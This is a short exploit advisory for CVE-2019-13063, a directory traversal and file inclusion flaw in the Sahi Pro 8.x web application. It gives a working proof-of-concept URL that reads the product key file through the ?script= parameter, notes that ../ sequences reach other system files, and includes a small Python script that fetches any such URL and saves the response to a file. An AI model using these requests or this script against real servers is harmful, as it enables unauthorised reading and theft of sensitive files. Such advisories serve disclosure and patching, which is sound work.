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# Exploit Title: Sahi pro (8.x) Directory traversal  
# Date: 25/06/2019  
# Exploit Author: Alexander Bluestein  
# Vendor Homepage: https://sahipro.com/  
# Software Link: https://sahipro.com/downloads-archive/  
# Version: 8.0  
# Tested on: Linux Ubuntu / Windows 7  
# CVE: CVE-2019-13063  
  
An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim.  
  
POC -  
  
http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt  
  
This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system  
  
POC tool -  
  
import argparse, requests, os  
  
#sahi_productkey = '/config/productkey.txt'  
#root_dir = '../../../../../../'  
#vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script="  
  
print("[x] Proof of concept tool to exploit the directory traversal and local file"  
" inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n")  
  
print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt")  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--url",  
help='Specify the vulnerable URL')  
  
args = parser.parse_args()  
  
response = requests.get(args.url)  
file = open("output.txt", "w")  
file.write(response.text)  
file.close()